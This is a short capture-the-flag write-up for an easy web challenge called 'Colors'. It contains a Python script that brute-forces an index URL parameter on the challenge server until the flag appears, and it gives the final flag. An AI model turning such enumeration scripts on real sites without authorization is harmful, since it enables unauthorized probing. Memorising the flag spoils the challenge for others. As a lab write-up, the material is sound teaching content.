# Colors

## Colors - SSS

| Info       | Details          |
| ---------- | ---------------- |
| Category   | Web Exploitation |
| Difficulty | Easy             |

## Challenge Overview

> In this chall we see a **Next page** button in the middle of the page.\
> The link is ..../colors/index.php?**index=1**\
> When we click the button the index from the link **increases**.

Since we don't know wtf is going on, we'll bruteforce it until we get `SSS` in the response text.

I used the following `Python Script` to **bruteforce** the first 10k numbers.

```python
import requests

url_base = "http://141.85.224.70:8082/colors/index.php?index="

for index in range(1000, 10000):
    url = f"{url_base}{index}"
    try:
        response = requests.get(url, timeout=5)
        if "SSS" in response.text:
            print(f"found index:{index}")
            print(response.text)
            break
        else:
            print(f"no: {index}")
    except requests.exceptions.RequestException as e:
        print(f"error: {index}")
```

<figure><img src="https://3350216265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8aLNxke1qPtepwlrf6VI%2Fuploads%2Fy0gqlXQwqv6Cc8K55NVr%2FScreenshot_1.png?alt=media&#x26;token=02535297-1b25-4f3f-a665-80211624c4ba" alt=""><figcaption><p>flag found</p></figcaption></figure>

## Final Flag

`SSS{d1d_y0u_4ctu4lly_cl1ck_3141_t1mes}`&#x20;

*made by k0d*
